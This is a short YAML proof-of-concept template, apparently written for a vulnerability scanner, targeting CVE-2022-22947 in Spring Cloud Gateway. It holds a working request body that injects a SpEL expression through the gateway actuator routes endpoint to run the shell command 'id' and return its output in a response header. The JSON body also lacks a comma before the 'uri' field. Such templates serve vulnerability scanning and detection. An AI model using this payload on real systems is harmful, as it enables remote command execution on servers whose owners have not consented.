CVE-2022-22947-spring-clond-Gateway-RCE.yml

name: poc-yaml-CVE-2022-22947-spring-clond-Gateway-RCE
rules:
  - method: POST
    path: /actuator/gateway/routes/code
    headers:
     Content-Type: application/json
    body: |
      {
        "id": "code",
        "filters": [{
          "name": "AddResponseHeader",
          "args":{
            "name": "Result",
            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" 
          }
          }]
        "uri": "http://ggg.cpdd:80"
      }
    expression: |
     response.status == 201 || response.status == 400
detail:
  vulnpath: "/"
  author: mamba
  description: "spring-clond-Gateway-RCE by chaosec公众号"
  links:
    - https://github.com/chaosec2021